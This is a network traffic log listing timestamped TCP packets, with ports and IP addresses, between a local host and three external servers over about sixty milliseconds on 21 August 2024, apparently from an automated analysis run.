Aug 21, 2024 08:32:16.294449091 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.294456005 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.294461966 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.294518948 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.294532061 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.294543982 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.294553041 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.294557095 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.294559002 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.294576883 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.294596910 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.294995070 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.295006990 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.295016050 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.295025110 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.295046091 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.295052052 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.295058012 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.295063972 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.295075893 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.295083046 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.295087099 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.295101881 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.295125008 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.295676947 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.295689106 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.295708895 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.295717955 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.295726061 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.295732021 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.295743942 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.295746088 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.295748949 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.295754910 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.295763969 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.295769930 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.295787096 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.295797110 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.295831919 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.295994997 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.296001911 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.296066046 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.296247005 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.296256065 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.296310902 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.296312094 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.296319962 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.296328068 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.296336889 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.296350956 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.296353102 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.296377897 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.296413898 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.296598911 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.296605110 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.296616077 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.296622038 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.296627045 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.296633005 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.296643019 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.296659946 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.296690941 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.296900988 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.296917915 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.296992064 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.296999931 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.297215939 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.297317982 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.297333002 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.297384977 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.297390938 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.297452927 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.298104048 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.298118114 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.298234940 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.298240900 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.298381090 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.298650026 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.298666000 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.298722029 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.298727036 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.298787117 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.299124002 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.299144030 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.299204111 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.299217939 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.299380064 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.303123951 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.303139925 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.303201914 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.303209066 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.303411007 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.310090065 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.310100079 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.310106039 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.310128927 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.310133934 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.310141087 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.310147047 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.310154915 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.310189962 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.310353994 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.310364962 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.310374022 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.310379028 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.310399055 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.310404062 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.310409069 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.310410976 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.310427904 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.310446978 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.310597897 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.310663939 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.310668945 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.310683012 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.310688019 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.310699940 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.310720921 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.310739040 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.310767889 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.310775042 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.310781002 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.310801029 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.310853958 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.310859919 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.310872078 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.310877085 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.310897112 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.310897112 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.310919046 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.311295986 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.311302900 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.311314106 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.311319113 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.311330080 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.311336994 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.311348915 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.311353922 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.311369896 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.311402082 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.311425924 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.311431885 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.311438084 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.311444998 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.311451912 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.311453104 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.311470032 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.311470985 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.311494112 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.311517000 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.311728954 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.311738968 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.311753035 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.311760902 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.311774969 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.311781883 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.311789989 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.311796904 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.311800003 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.311803102 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.311814070 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.311827898 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.311839104 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.312100887 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.312108040 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.312114000 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.312119007 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.312129974 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.312135935 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.312144041 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.312182903 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.312284946 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.312294960 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.312302113 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.312308073 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.312320948 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.312330008 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.312338114 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.312346935 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.312351942 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.312376976 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.312376976 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.312376976 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.312383890 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.312393904 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.312418938 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.312757015 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.312763929 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.312769890 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.312774897 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.312781096 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.312786102 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.312797070 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.312802076 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.312808990 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.312815905 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.312851906 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.312903881 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.312911034 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.312944889 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.313139915 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.313148975 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.313157082 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.313173056 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.313184977 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.313191891 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.313194036 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.313201904 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.313209057 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.313211918 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.313214064 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.313220024 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.313225031 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.313225031 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.313230991 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.313242912 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.313247919 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.313252926 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.313265085 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.313266039 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.313285112 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.313304901 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.313493013 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.313513041 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.313523054 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.313530922 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.313539028 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.313544989 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.313549995 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.313555002 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.313560009 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.313565016 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.313569069 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.313601017 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.313601017 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.313626051 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.313800097 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.313806057 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.313812017 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.313821077 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.313822985 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.313834906 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.313851118 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.313852072 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.313858032 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.313868046 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.313868999 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.313882113 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.313889980 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.313895941 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.313904047 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.313911915 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.313918114 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.313920021 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.313920021 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.313920975 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.313927889 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.313958883 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.313982964 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.314137936 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.314143896 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.314155102 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.314162016 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.314166069 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.314178944 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.314184904 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.314189911 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.314193010 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.314207077 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.314227104 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.314248085 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.324347973 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.324363947 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.324460030 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.324460030 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.324467897 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.324709892 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.332046032 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.332056999 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.332073927 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.332078934 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.332088947 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.332098961 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.332102060 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.332132101 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.332165003 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.347230911 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.347259998 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.347274065 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.347282887 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.347296000 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.347305059 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.347318888 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.347327948 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.347327948 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.347381115 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.347418070 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.347425938 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.347440004 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.347448111 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.347456932 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.347481012 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.347507000 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.347528934 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.348272085 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.348398924 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.348459005 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.348500013 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.348505974 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.348522902 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.348524094 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.348531008 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.348560095 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.348589897 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.348670006 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.348679066 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.348691940 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.348748922 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.354995966 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.355007887 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.355017900 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.355036974 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.355046034 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.355061054 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.355072021 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.355097055 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.355135918 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.355144024 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.355145931 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.355155945 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.355164051 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.355182886 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.355184078 CEST	49720	80	192.168.2.6	147.45.44.104
